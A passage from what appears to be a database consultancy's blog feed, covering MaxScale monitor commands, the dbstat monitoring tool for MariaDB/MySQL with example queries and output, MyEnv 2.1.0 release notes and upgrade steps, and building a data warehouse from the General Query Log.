├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ reset-replication │ MONITOR, [SERVER] │ Monitor name, Primary server (optional) │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ async-reset-replication │ MONITOR, [SERVER] │ Monitor name, Primary server (optional) │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ release-locks │ MONITOR │ Monitor name │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ async-release-locks │ MONITOR │ Monitor name │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ fetch-cmd-result │ MONITOR │ Monitor name │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ cancel-cmd │ MONITOR │ Monitor name │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ async-cs-add-node │ MONITOR, STRING, STRING │ Monitor name, Hostname/IP of node to add to ColumnStore cluster, Timeout │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ async-cs-remove-node │ MONITOR, STRING, STRING │ Monitor name, Hostname/IP of node to remove from ColumnStore cluster, Timeout │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ cs-get-status │ MONITOR │ Monitor name │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ async-cs-get-status │ MONITOR │ Monitor name │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ async-cs-start-cluster │ MONITOR, STRING │ Monitor name, Timeout │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ async-cs-stop-cluster │ MONITOR, STRING │ Monitor name, Timeout │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ async-cs-set-readonly │ MONITOR, STRING │ Monitor name, Timeout │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ async-cs-set-readwrite │ MONITOR, STRING │ Monitor name, Timeout │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ async-rebuild-server │ MONITOR, SERVER, [SERVER] │ Monitor name, Target server, Source server (optional) │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ async-create-backup │ MONITOR, SERVER, STRING │ Monitor name, Source server, Backup name │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ async-restore-from-backup │ MONITOR, SERVER, STRING │ Monitor name, Target server, Backup name │
└───────────────────────────┴─────────────────────────────┴───────────────────────────────────────────────────────────────────────────────┘

Literature / Sources

MaxScale: Simple Sharding with Two Servers
MaxScale: SchemaRouter

dbstat for MariaDB (and MySQL)

oli.sennhauser@fromdual.com (Oli Sennhauser) — Thu, 14 Mar 2024 15:36:57 +0000

An idea that I have been thinking about for a long time and have now, thanks to a customer, finally tackled is dbstat for MariaDB/MySQL. The idea is based on sar/sysstat by Sebastien Godard:

sar - Collect, report, or save system activity information.

and Oracle Statspack:

Statspack is a performance tuning tool … to quickly gather detailed analysis of the performance of that database instance.

Functionality of `dbstat`

Although we have had the performance schema for some time, it does not cover some points that we see as a problem in practice and that are requested by customers:

The table_size module collects data on the growth of tables. This allows statements to be made about the growth of individual tables, databases, future MariaDB Catalogs or the entire instance. This is interesting for users who are using multi-tenant systems or are otherwise struggling with uncontrolled growth.
The processlist module takes a snapshot of the process list at regular intervals and saves it. This information is useful for post-mortem analyses if the user was too slow to save his process list or to understand how a problem has built up.
The problem is often caused by long-running transactions, row locks or metadata locks. These are recorded and saved by the trx_and_lck and metadata_lock modules. This means that we can see problems that we did not even notice before or we can see what led to the problem after the accident (analogous to a tachograph in a vehicle).
Another question that we sometimes encounter in practice is: When was which database variable changed and what did it look like before? This is covered by the global_variables module. Unfortunately, it is not possible to find out who changed the variable or why. Operational processes are required for this.
The last module, global_status, actually covers what sar/sysstat does. It collects the values from SHOW GLOBAL STATUS; and saves them for later analysis purposes or to simply create graphs.

How does `dbstat` work

dbstat uses the database Event Scheduler as a scheduler. This must first be switched on for MariaDB (event_scheduler = ON). With MySQL it is already switched on by default. The Event Scheduler has the advantage that we can activate the jobs at a finer granularity, for example 10 s, which would not be possible with the crontab.

The Event Scheduler then executes SQL/PSM code to collect the data on the one hand and to delete the data on the other, so that the dbstat database does not grow immeasurably.

The following jobs are currently planned:

Module	Collect	Delete	Quantity structure	Remarks
table_size	1/d at 02:04	12/h, 1000 rows, > 31 d	1000 tab × 31 d = 31k rows	Should work up to 288k tables.
processlist	1/min	1/min, 1000 rows, > 7 d	1000 con × 1440 min × 7 d = 10M rows	Should work up to 1000 concurrent connections.
trx_and_lck	1/min	1/min, 1000 rows, > 7 d	100 lck × 1440 min × 7 d = 1M rows	Depends very much on the application.
metadata_lock	1/min	12/h, 1000 rows, > 30 d	100 mdl × 1440 × 30 d = 4M rows	Depends very much on the application.
global_variables	1/min	never	1000 rows	Normally this table should not grow.
global_status	1/min	1/min, 1000 rows, > 30 d	1000 rows × 1440 × 30 d = 40M	Rows can become large?

How to install `dbstat`

dbstat can be downloaded from Github and is licensed under GPLv2.

The installation is simple: First execute the SQL file create_user_and_db.sql. Then execute the corresponding create_*.sql files for the respective modules in the dbstat database. There are currently no direct dependencies between the modules. If you want to use a different user or a different database than dbstat, you have to take care of this yourself.

Query `dbstat`

Some possible queries on the data have already been prepared. They can be found in the query_*.sql files. Here are a few examples:

table_size

SELECT `table_schema`, `table_name`, `ts`, `table_rows`, `data_length`, `index_length`
 FROM `table_size`
 WHERE `table_catalog` = 'def'
 AND `table_schema` = 'dbstat'
 AND `table_name` = 'table_size'
ORDER BY `ts` ASC
;
+--------------+------------+---------------------+------------+-------------+--------------+
| table_schema | table_name | ts | table_rows | data_length | index_length |
+--------------+------------+---------------------+------------+-------------+--------------+
| dbstat | table_size | 2024-03-09 20:01:00 | 0 | 16384 | 16384 |
| dbstat | table_size | 2024-03-10 17:26:33 | 310 | 65536 | 16384 |
| dbstat | table_size | 2024-03-11 08:28:12 | 622 | 114688 | 49152 |
| dbstat | table_size | 2024-03-12 08:02:38 | 934 | 114688 | 49152 |
| dbstat | table_size | 2024-03-13 08:08:55 | 1247 | 278528 | 81920 |
+--------------+------------+---------------------+------------+-------------+--------------+

processlist

SELECT connection_id, ts, time, state, SUBSTR(REGEXP_REPLACE(REPLACE(query, "<br>n", ' '), '<br> +', ' '), 1, 64) AS query
 FROM processlist
 WHERE command != 'Sleep'
 AND connection_id = @connection_id
 ORDER BY ts ASC
 LIMIT 5
;
+---------------+---------------------+---------+---------------------------------+---------------------------------------------+
| connection_id | ts | time | state | query |
+---------------+---------------------+---------+---------------------------------+---------------------------------------------+
| 14956 | 2024-03-09 20:21:12 | 13.042 | Waiting for table metadata lock | update test set data = 'bla' where id = 100 |
| 14956 | 2024-03-09 20:22:12 | 73.045 | Waiting for table metadata lock | update test set data = 'bla' where id = 100 |
| 14956 | 2024-03-09 20:23:12 | 133.044 | Waiting for table metadata lock | update test set data = 'bla' where id = 100 |
| 14956 | 2024-03-09 20:24:12 | 193.044 | Waiting for table metadata lock | update test set data = 'bla' where id = 100 |
| 14956 | 2024-03-09 20:25:12 | 253.041 | Waiting for table metadata lock | update test set data = 'bla' where id = 100 |
+---------------+---------------------+---------+---------------------------------+---------------------------------------------+

trx_and_lck

SELECT * FROM trx_and_lck<br>G
*************************** 1. row ***************************
 machine_name:
 connection_id: 14815
 trx_id: 269766
 ts: 2024-03-09 20:05:57
 user: root
 host: localhost
 db: test
 command: Query
 time: 41.000
 running_since: 2024-03-09 20:05:16
 state: Statistics
 info: select * from test where id = 6 for update
 trx_state: LOCK WAIT
 trx_started: 2024-03-09 20:05:15
trx_requested_lock_id: 269766:821:5:7
 trx_tables_in_use: 1
 trx_tables_locked: 1
 trx_lock_structs: 2
 trx_rows_locked: 1
 trx_rows_modified: 0
 lock_mode: X
 lock_type: RECORD
 lock_table_schema: test
 lock_table_name: test
 lock_index: PRIMARY
 lock_space: 821
 lock_page: 5
 lock_rec: 7
 lock_data: 6
*************************** 2. row ***************************
 machine_name:
 connection_id: 14817
 trx_id: 269760
 ts: 2024-03-09 20:05:57
 user: root
 host: localhost
 db: test
 command: Sleep
 time: 60.000
 running_since: 2024-03-09 20:04:57
 state:
 info:
 trx_state: RUNNING
 trx_started: 2024-03-09 20:04:56
trx_requested_lock_id: NULL
 trx_tables_in_use: 0
 trx_tables_locked: 1
 trx_lock_structs: 2
 trx_rows_locked: 1
 trx_rows_modified: 1
 lock_mode: X
 lock_type: RECORD
 lock_table_schema: test
 lock_table_name: test
 lock_index: PRIMARY
 lock_space: 821
 lock_page: 5
 lock_rec: 7
 lock_data: 6

metadata_lock

SELECT lock_mode, ts, user, host, lock_type, table_schema, table_name, time, started, state, query
 FROM metadata_lock
 WHERE connection_id = 14347
 ORDER BY started DESC
 LIMIT 5
;
+-------------------------+---------------------+------+-----------+----------------------+--------------+------------+-------+---------------------+----------------+------------------------------------------------------+
| lock_mode | ts | user | host | lock_type | table_schema | table_name | time | started | state | query |
+-------------------------+---------------------+------+-----------+----------------------+--------------+------------+-------+---------------------+----------------+------------------------------------------------------+
| MDL_SHARED_WRITE | 2024-03-13 10:27:33 | root | localhost | Table metadata lock | test | test | 1.000 | 2024-03-13 10:27:32 | Updating | UPDATE test set data3 = MD5(id) |
| MDL_BACKUP_TRANS_DML | 2024-03-13 10:27:33 | root | localhost | Backup lock | | | 1.000 | 2024-03-13 10:27:32 | Updating | UPDATE test set data3 = MD5(id) |
| MDL_BACKUP_ALTER_COPY | 2024-03-13 10:22:33 | root | localhost | Backup lock | | | 0.000 | 2024-03-13 10:22:33 | altering table | ALTER TABLE test DROP INDEX ts, ADD INDEX (ts, data) |
| MDL_SHARED_UPGRADABLE | 2024-03-13 10:22:33 | root | localhost | Table metadata lock | test | test | 0.000 | 2024-03-13 10:22:33 | altering table | ALTER TABLE test DROP INDEX ts, ADD INDEX (ts, data) |
| MDL_INTENTION_EXCLUSIVE | 2024-03-13 10:22:33 | root | localhost | Schema metadata lock | test | | 0.000 | 2024-03-13 10:22:33 | altering table | ALTER TABLE test DROP INDEX ts, ADD INDEX (ts, data) |
+-------------------------+---------------------+------+-----------+----------------------+--------------+------------+-------+---------------------+----------------+------------------------------------------------------+

global_variables

SELECT variable_name, COUNT(*) AS cnt
 FROM global_variables
 GROUP BY variable_name
 HAVING COUNT(*) > 1
;
+-------------------------+-----+
| variable_name | cnt |
+-------------------------+-----+
| innodb_buffer_pool_size | 7 |
+-------------------------+-----+

SELECT variable_name, ts, variable_value
 FROM global_variables
 WHERE variable_name = 'innodb_buffer_pool_size'
;
+-------------------------+---------------------+----------------+
| variable_name | ts | variable_value |
+-------------------------+---------------------+----------------+
| innodb_buffer_pool_size | 2024-03-09 21:36:28 | 134217728 |
| innodb_buffer_pool_size | 2024-03-09 21:40:25 | 268435456 |
| innodb_buffer_pool_size | 2024-03-09 21:48:14 | 134217728 |
+-------------------------+---------------------+----------------+

global_status

SELECT s1.ts
 , s1.variable_value AS 'table_open_cache_misses'
 , s2.variable_value AS 'table_open_cache_hits'
 FROM global_status AS s1
 JOIN global_status AS s2 ON s1.ts = s2.ts
 WHERE s1.variable_name = 'table_open_cache_misses'
 AND s2.variable_name = 'table_open_cache_hits'
 AND s1.ts BETWEEN '2024-03-13 11:55:00' AND '2024-03-13 12:05:00'
 ORDER BY ts ASC
;
+---------------------+-------------------------+-----------------------+
| ts | table_open_cache_misses | table_open_cache_hits |
+---------------------+-------------------------+-----------------------+
| 2024-03-13 11:55:47 | 1001 | 60711 |
| 2024-03-13 11:56:47 | 1008 | 61418 |
| 2024-03-13 11:57:47 | 1015 | 62125 |
| 2024-03-13 11:58:47 | 1022 | 62829 |
| 2024-03-13 11:59:47 | 1029 | 63533 |
| 2024-03-13 12:00:47 | 1036 | 64237 |
| 2024-03-13 12:01:47 | 1043 | 64944 |
| 2024-03-13 12:02:47 | 1050 | 65651 |
| 2024-03-13 12:03:47 | 1057 | 66355 |
| 2024-03-13 12:04:47 | 1064 | 67059 |
+---------------------+-------------------------+-----------------------+

Testing

We have currently rolled out dbstat on our test and production systems to test it and see whether our assumptions regarding stability and calculations of the quantity structure are correct. In addition, using it ourselves is the best way to find out if something is missing or if the handling is impractical (Eat your own dog food).

Sources

MariaDB/MySQL Environment MyEnv 2.1.0 has been released

oli.sennhauser@fromdual.com (Oli Sennhauser) — Wed, 28 Feb 2024 17:22:29 +0100

FromDual has the pleasure to announce the release of the new version 2.1.0 of its popular MariaDB, Galera Cluster and MySQL multi-instance environment MyEnv.

The new MyEnv can be downloaded here. How to install MyEnv is described in the MyEnv Installation Guide.

In the inconceivable case that you find a bug in the MyEnv please report it to the FromDual bug tracker.

Any feedback, statements and testimonials are welcome as well! Please send them to [feedback@fromdual.com](mailto:feedback@fromdual.com?Subject=Feedback for MyEnv).

Upgrade from 1.1.x to 2.0

Please look at the MyEnv 2.0.0 Release Notes.

Upgrade from 2.0.x to 2.1.0

shell> cd ${HOME}/product
shell> tar xf /download/myenv-2.1.0.tar.gz
shell> rm -f myenv
shell> ln -s myenv-2.1.0 myenv

Plug-ins

If you are using plug-ins for showMyEnvStatus create all the links in the new directory structure:

shell> cd ${HOME}/product/myenv
shell> ln -s ../../utl/oem_agent.php plg/showMyEnvStatus/

Upgrade of the instance directory structure

From MyEnv 1.0 to 2.0 the directory structure of instances has fundamentally changed. Nevertheless MyEnv 2.0 works fine with MyEnv 1.0 directory structures.

Changes in MyEnv 2.1.0

MyEnv

Removed hard coded parts for running MyEnv under O/S user mariadb.
Function substitute_path was refactored.
Branch guessing improved.
Warnings and errors are in color now.
MyEnv log file is now touched to avoid problems with O/S user root.
O/S user mysql removed in start/stop script.
Checks for DB start improved.
/var/run replaced by the more modern location /run.
Should now be completely MariaDB compatible (mariadbd vs. mysqld).
Wrapper mysqld_safe was extended to mariadbd-safe.
Replaced getVersionFromMysqld by getVersionAndBranchFromDaemon and extended functionality of this function.
LD_LIBRARY_PATH was set to the wrong directory.
Reverting Commit: fcc93c5 from v2.0.3 related to CDPATH. Break commands like cd log or cd etc.
Database mysql_innodb_cluster_metadata is hidden now.
Database #innodb_redo is suppressed now as well for MySQL 8.0, and hideschema is not added to every new instance any more to not overwrite the default.
Bug while stopping instance with missing my.cnf fixed.
Function getDistribution cleaned-up.
MySQL should now also be detected correctly from Ubuntu repository.
Function my_exec rewritten.
Debian GNU/Linux tag added for distros.
Function extractBranch made better to work on Debian and Ubuntu with distribution packages.
Oracle Linux is considered as well now.
Made scripts ready for new MariaDB behaviour.
my.cnf template adapted to newest knowledge.
Directory changed from /tmp to /var/tmp, code cleaned-up and renewal, PID file code and message improved in stopInstance.
Distributions cleaned-up and cloudlinux, rocky linux and almalinux added as centos compatible distros.

MyEnv Installer

Debian 10 and 11 do not support PHP 8.0 yet, fixed.
Unit file is copied now correctly.
MyEnv instance installation is automatizable now.
Instance creation automation added.
my.cnf template together with installMyenv should now work without errors or warnings for MariaDB 10.5 - 11.2 and MySQL 8.0 - 8.3.
Command yum replaced by dnf.
Command apt-get comments replaced by apt.

MyEnv Utilities

Client utility adapted in *monitor scripts.
InnoDB cluster monitor added.
wsrep_last_committed was added in galera_monitor.sh.
AWR added, sharding stuff added, lock and trx analysis scripts added.
Memory analysis added, NUMA maps output made ready for new variables.
connect_maxout utility added.

For subscriptions of commercial use of MyEnv please [get in contact](mailto:contact@fromdual.com?Subject=Commercial use of MyEnv) with us.

MyEnv Release Notes

oli.sennhauser@fromdual.com (Oli Sennhauser) — Wed, 28 Feb 2024 16:51:26 +0100

MyEnv 3.0.0 Release Notes, Release Date: 23 March 2026
MyEnv 2.1.1 Release Notes, Release Date: 12 December 2025
MyEnv 2.1.0 Release Notes, Release Date: 28 February 2024
MyEnv 2.0.3 Release Notes, Release Date: 2 July 2021
MyEnv 2.0.2 Release Notes, Release Date: 17 January 2019
MyEnv 2.0.1 Release Notes, Release Date: 3 October 2018
MyEnv 2.0.0 Release Notes, Release Date: 15 March 2018
MyEnv 1.3.1 Release Notes, Release Date: 3 August 2016
MyEnv 1.3.0 Release Notes, Release Date: 31 January 2016
MyEnv 1.2.2 Release Notes, Release Date: 12 October 2015
MyEnv 1.2.1 Release Notes, Release Date: 27 July 2015
MyEnv 1.2.0 Release Notes, Release Date: 18 April 2015
MyEnv 1.1.4 Release Notes, Release Date: 11 February 2015
MyEnv 1.1.3 Release Notes: Skipped, see v1.1.4, Release Date: 30 January 2015
MyEnv 1.1.2 Release Notes, Release Date: 23 October 2014
MyEnv 1.1.1 Release Notes, Release Date: 8 September 2014
MyEnv 1.1.0 Release Notes, Release Date: 23 August 2014
MyEnv 1.0.5 Release Notes, Release Date: 13 June 2014
MyEnv 1.0.4 Release Notes, Release Date: 29 April 2014
MyEnv 1.0.3 Release Notes, Release Date: 25 April 2014
MyEnv 1.0.2 Release Notes, Release Date: 11 December 2013
MyEnv 1.0.1 Release Notes, Release Date: 5 November 2013
MyEnv 1.0 Release Notes, Release Date: 4 October 2013
MyEnv 0.4 Release notes: none, Release Date: 30 March 2011
MyEnv 0.3.6 Release notes: none, Release Date: 23 January 2011
MyEnv 0.3.5 Release notes: none, Release Date: 22 January 2011
MyEnv 0.3.4 Release notes: none, Release Date: 21 November 2010
MyEnv 0.3.3 Release notes: none, Release Date: 21 November 2010
MyEnv 0.3.2 Release notes: none, Release Date: 14 November 2010
MyEnv 0.3.1 Release notes: none, Release Date: 14 November 2010
MyEnv 0.3 Release notes: none, Release Date: 13 November 2010
MyEnv 0.2.7 Release notes: none, Release Date: 12 August 2010
MyEnv 0.2.6 Release notes: none, Release Date: 12 August 2010
MyEnv 0.2.5 Release notes: none, Release Date: 12 August 2010
MyEnv 0.2.4 Release notes: none, Release Date: 12 August 2010
MyEnv 0.2.3 Release notes: none, Release Date: 19 January 2010
MyEnv 0.2.2 Release notes: none, Release Date: 7 January 2010
MyEnv 0.2.1 Release notes: none, Release Date: 31 December 2009
MyEnv 0.2 Release notes: none, Release Date: 24 December 2009
MyEnv 0.1.1 Release notes: none, Release Date: 18 July 2008
MyEnv 0.1 Release notes: none, Release Date: 18 July 2008

We build a data warehouse from the General Query Log

oli.sennhauser@fromdual.com (Oli Sennhauser) — Wed, 31 Jan 2024 16:41:13 +0100

The design of a data warehouse differs from relational design. Data warehouses are often designed according to the concept of the star schema.

When building a data warehouse, you usually put the cart before the horse:

What questions should my data warehouse be able to answer?
How do I have to design my model so that my questions can be answered easily?
Where do I get the data to populate the model?
How do I fill my model with the data?

For training purposes, we have investigated an issue that arises from time to time with our support team: The system suddenly and unexpectedly starts to behave unusually, nobody has done anything and nobody knows why. Example with a customer last week: The system starts to become unstable at 3 pm, is then restarted hard and then stabilises again from 4 pm…

The easiest thing to do in such a case would be to quickly look at the database with the SHOW PROCESSLIST command and then it often becomes immediately clear where the problem lies. But customers often forget this or they are not fast enough. The General Query Log was already switched on for this customer, so this would be a great case for our General Query Log Data Warehouse!

What questions should my data warehouse be able to answer?

The generic question for this problem should be something like: “Who or what caused my system to behave abnormally?”

In technical terms, the question would be something like:

Who: Which user or account was on the database with how many connections at the time in question? What was unusual about it?
What: Which queries were running in which schema on the system at the time in question? Which of these queries were unusual?

What should my model look like?

We can already derive some facts and dimensions from the question:

User or account (user + host)
Time
Connections
Schema
Queries

And this also results in 4 dimensions and the fact table:

Data source

Where the data comes from is relatively easy to answer in this case: The customer provides his General Query Logs or you can also use the General Query Logs of our own systems for testing purposes.

How is the model populated?

Technically, this is known as an ETL process (Extract-Transform-Load). In our case, we have built a General Query Log parser that reads the General Query Log, prepares the data accordingly and saves it in the model.

Checking the model

And then we come to checking the model. We used test data from one of our systems for this:

Which user was on the system at the time in question?
Which user had how many connections open at the time in question?

SELECT td.time, cd.user, COUNT(*) AS count
 FROM connection_dim cd
 JOIN query_fact AS qf ON qf.connection_id = cd.connection_id
 JOIN time_dim AS td ON td.time_id = qf.time_id
 JOIN date_dim AS dd ON dd.date_id = qf.date_id
 WHERE td.time BETWEEN '17:00' AND '18:30'
 AND dd.date = '2019-08-02'
 GROUP BY td.time, cd.user
 ORDER BY td.time ASC, cd.user
;
+----------+---------------+-------+
| time | user | count |
+----------+---------------+-------+
| 17:58:00 | UNKNOWN USER | 1 |
| 17:59:00 | brman | 58 |
| 17:59:00 | brman_catalog | 18 |
| 17:59:00 | root | 5 |
| 18:00:00 | brman | 296 |
| 18:00:00 | brman_catalog | 7 |
| 18:00:00 | root | 3 |
| 18:01:00 | brman_catalog | 18 |
| 18:01:00 | root | 3 |
| 18:06:00 | brman | 266 |
| 18:06:00 | brman_catalog | 6 |
| 18:07:00 | brman | 88 |
| 18:07:00 | brman_catalog | 7 |
| 18:10:00 | brman | 211 |
| 18:10:00 | brman_catalog | 18 |
| 18:10:00 | root | 4 |
| 18:11:00 | brman | 141 |
| 18:11:00 | root | 3 |
| 18:13:00 | brman | 4 |
| 18:14:00 | brman | 348 |
| 18:17:00 | brman | 354 |
| 18:17:00 | brman_catalog | 12 |
| 18:17:00 | root | 1 |
+----------+---------------+-------+

Which account was on the system at the time in question?
Which account had how many connections open at the time in question?

SELECT td.time, cd.user, cd.hostname, COUNT(*) AS count
 FROM connection_dim cd
 JOIN query_fact AS qf ON qf.connection_id = cd.connection_id
 JOIN time_dim AS td ON td.time_id = qf.time_id
 JOIN date_dim AS dd ON dd.date_id = qf.date_id
 WHERE td.time BETWEEN '17:00' AND '18:30'
 AND dd.date = '2019-08-02'
 GROUP BY td.time, cd.user, cd.hostname
 ORDER BY td.time ASC, cd.user
;
+----------+---------------+--------------+-------+
| time | user | hostname | count |
+----------+---------------+--------------+-------+
| 17:58:00 | UNKNOWN USER | UNKNOWN HOST | 1 |
| 17:59:00 | brman | localhost | 58 |
| 17:59:00 | brman_catalog | localhost | 18 |
| 17:59:00 | root | localhost | 5 |
| 18:00:00 | brman | localhost | 296 |
| 18:00:00 | brman_catalog | localhost | 7 |
| 18:00:00 | root | localhost | 3 |
| 18:01:00 | brman_catalog | localhost | 18 |
| 18:01:00 | root | localhost | 3 |
| 18:06:00 | brman | localhost | 266 |
| 18:06:00 | brman_catalog | localhost | 6 |
| 18:07:00 | brman | localhost | 88 |
| 18:07:00 | brman_catalog | localhost | 7 |
| 18:10:00 | brman | localhost | 211 |
| 18:10:00 | brman_catalog | localhost | 18 |
| 18:10:00 | root | localhost | 4 |
| 18:11:00 | brman | localhost | 141 |
| 18:11:00 | root | localhost | 3 |
| 18:13:00 | brman | localhost | 4 |
| 18:14:00 | brman | localhost | 348 |
| 18:17:00 | brman | localhost | 354 |
| 18:17:00 | brman_catalog | localhost | 12 |
| 18:17:00 | root | localhost | 1 |
+----------+---------------+--------------+-------+

What was unusual about it?

SELECT cd.user, td.time, COUNT(*) AS count
 FROM connection_dim cd
 JOIN query_fact AS qf ON qf.connection_id = cd.connection_id
 JOIN time_dim AS td ON td.time_id = qf.time_id
 JOIN date_dim AS dd ON dd.date_id = qf.date_id
 WHERE td.time BETWEEN '17:00' AND '18:30'
 AND dd.date = '2019-08-02'
 GROUP BY td.time, cd.user
 ORDER BY cd.user ASC, td.time ASC
;
+---------------+----------+-------+
| user | time | count |
+---------------+----------+-------+
| brman | 17:59:00 | 58 |
| brman | 18:00:00 | 296 |
| brman | 18:06:00 | 266 |
| brman | 18:07:00 | 88 |
| brman | 18:10:00 | 211 |
| brman | 18:11:00 | 141 |
| brman | 18:13:00 | 4 |
| brman | 18:14:00 | 348 |
| brman | 18:17:00 | 354 |
| brman_catalog | 17:59:00 | 18 |
| brman_catalog | 18:00:00 | 7 |
| brman_catalog | 18:01:00 | 18 |
| brman_catalog | 18:06:00 | 6 |
| brman_catalog | 18:07:00 | 7 |
| brman_catalog | 18:10:00 | 18 |
| brman_catalog | 18:17:00 | 12 |
| root | 17:59:00 | 5 |
| root | 18:00:00 | 3 |
| root | 18:01:00 | 3 |
| root | 18:10:00 | 4 |
| root | 18:11:00 | 3 |
| root | 18:17:00 | 1 |
| UNKNOWN USER | 17:58:00 | 1 |
+---------------+----------+-------+

One could deduce here, for example, that the user brman had a relatively large number of open connections during the period in question. Whether this is unusual, we have too little data or the time period is too short.

Which queries were running on the system at the time in question and in which schema?
Which of these queries were unusual?

SELECT sd.schema_name, td.time, SUBSTR(std.statement_text, 1, 128) AS query
 FROM query_fact AS qf
 JOIN time_dim AS td ON td.time_id = qf.time_id
 JOIN schema_dim AS sd ON sd.schema_id = qf.schema_id
 JOIN statement_dim AS std ON std.statement_id = qf.statement_id
 WHERE td.time BETWEEN '17:00' AND '18:30'
 AND sd.schema_name = 'brman_catalog'
 AND std.command = 'Query'
 ORDER BY td.time, qf.statement_id
 LIMIT 10
;
+---------------+----------+----------------------------------------------------------------------------------------------------------------------------------+
| schema_name | time | query |
+---------------+----------+----------------------------------------------------------------------------------------------------------------------------------+
| brman_catalog | 17:59:00 | SET NAMES `utf8` |
| brman_catalog | 17:59:00 | SELECT COUNT ( * ) AS `cnt` FROM `information_schema` . `tables` WHERE `table_schema` = ? AND TABLE_NAME = ? |
| brman_catalog | 17:59:00 | SELECT COUNT ( * ) AS `cnt` FROM `information_schema` . `tables` WHERE `table_schema` = ? AND TABLE_NAME = ? |
| brman_catalog | 17:59:00 | CREATE TABLE `metadata` ( `id` TINYINT UNSIGNED NOT NULL AUTO_INCREMENT , `key` VARCHARACTER (?) NOT NULL , `value` VARCHARACTER |
| brman_catalog | 17:59:00 | INSERT INTO `metadata` ( `key` , `value` ) VALUES (...) |
| brman_catalog | 17:59:00 | INSERT INTO `metadata` ( `key` , `value` ) VALUES (...) |
| brman_catalog | 17:59:00 | CREATE TABLE `backups` ( `id` INTEGER UNSIGNED NOT NULL AUTO_INCREMENT , `instance_name` VARCHARACTER (?) NOT NULL , `start_ts` |
| brman_catalog | 17:59:00 | CREATE TABLE `backup_details` ( `backup_id` INTEGER UNSIGNED NOT NULL , `hostname` VARCHARACTER (?) NULL , `binlog_file` VARCHAR |
| brman_catalog | 17:59:00 | CREATE TABLE `files` ( `id` INTEGER UNSIGNED NOT NULL AUTO_INCREMENT , `schema_name` VARCHARACTER (?) NULL , `original_name` VAR |
| brman_catalog | 17:59:00 | CREATE TABLE `binary_logs` ( `id` INTEGER UNSIGNED NOT NULL AUTO_INCREMENT , `filename` VARCHARACTER (?) NOT NULL , `begin_ts` I |
+---------------+----------+----------------------------------------------------------------------------------------------------------------------------------+

Suggestions for improvement

Based on this first iteration of the model, you can already see which questions the model cannot yet answer or where the model is too imprecise. This can then be improved in a second round….

Examples of this are:

The granularity of the time dimension may be too coarse with an accuracy of minutes. Would it make more sense to use seconds?

The question of how long a connection was open is not so easy to answer. Perhaps a further fact table would be appropriate here?

 SELECT cd.connection_number, cd.user, cd.hostname, tdf.time AS time_from, tdt.time AS time_to, (UNIX_TIMESTAMP(tdt.time) - UNIX_TIMESTAMP(tdf.time)) AS duration
 FROM connection_dim AS cd
 JOIN query_fact AS qf1 ON cd.connection_id = qf1.connection_id
 JOIN time_dim AS tdf ON tdf.time_id = qf1.time_id
 JOIN statement_dim AS sdf ON sdf.statement_id = qf1.statement_id
 JOIN query_fact AS qf2 ON cd.connection_id = qf2.connection_id
 JOIN time_dim AS tdt ON tdt.time_id = qf2.time_id
 JOIN statement_dim AS sdt ON sdt.statement_id = qf2.statement_id
 WHERE tdf.time BETWEEN '17:00' AND '18:30'
 AND sdf.command = 'Connect'
 AND sdt.command = 'Quit'
 AND (UNIX_TIMESTAMP(tdt.time) - UNIX_TIMESTAMP(tdf.time)) > 0
 ORDER BY tdf.time
 ;
 +-------------------+-------+-----------+-----------+----------+----------+
 | connection_number | user | hostname | time_from | time_to | duration |
 +-------------------+-------+-----------+-----------+----------+----------+
 | 211 | brman | localhost | 17:59:00 | 18:00:00 | 60 |
 | 215 | root | localhost | 18:00:00 | 18:17:00 | 1020 |
 | 219 | brman | localhost | 18:06:00 | 18:07:00 | 60 |
 | 225 | brman | localhost | 18:10:00 | 18:11:00 | 60 |
 | 226 | brman | localhost | 18:13:00 | 18:14:00 | 60 |
 +-------------------+-------+-----------+-----------+----------+----------+

Of course, it would be exciting if an AI were used to solve the problem. How do you train it correctly and does it find the problem once it has been trained?

So much for the little gimmick of building a data warehouse…

FromDual Performance Monitor for MariaDB 2.1.0 has been released

oli.sennhauser@fromdual.com (Oli Sennhauser) — Sat, 09 Dec 2023 18:27:02 +0100

FromDual has the pleasure to announce the release of the new version 2.1.0 of its popular Database Performance Monitor for MariaDB and Galera Cluster fpmmm.

The FromDual Performance Monitor for MariaDB (fpmmm) enables DBAs and System Administrators to monitor and understand what is going on inside their MariaDB database instances and on the machines where the databases reside.

More detailed information you can find in the fpmmm Installation Guide.

Download

The new FromDual Performance Monitor for MariaDB (fpmmm) can be downloaded from here or you can use our FromDual repositories. How to install and use fpmmm is documented in the fpmmm Installation Guide.

In the inconceivable case that you find a bug in the FromDual Performance Monitor for MariaDB please report it to the FromDual Bug-tracker or just send us an [email](mailto:contact@fromdual.com?Subject=Bug report for fpmmm).

Any feedback, statements and testimonials are welcome as well! Please send them [to us](mailto:feedback@fromdual.com?Subject=Feedback for fpmmm “Feedback for fpmmm”).

Monitoring as a Service (MaaS)

You do not want to set-up your Database monitoring yourself? No problem: Choose our MariaDB Monitoring as a Service (Maas) program to safe time and costs!

Installation of Performance Monitor 2.1.0

A complete guide on how to install FromDual Performance Monitor you can find in the fpmmm Installation Guide.

Upgrade of fpmmm tarball from 1.x to 2.1.0

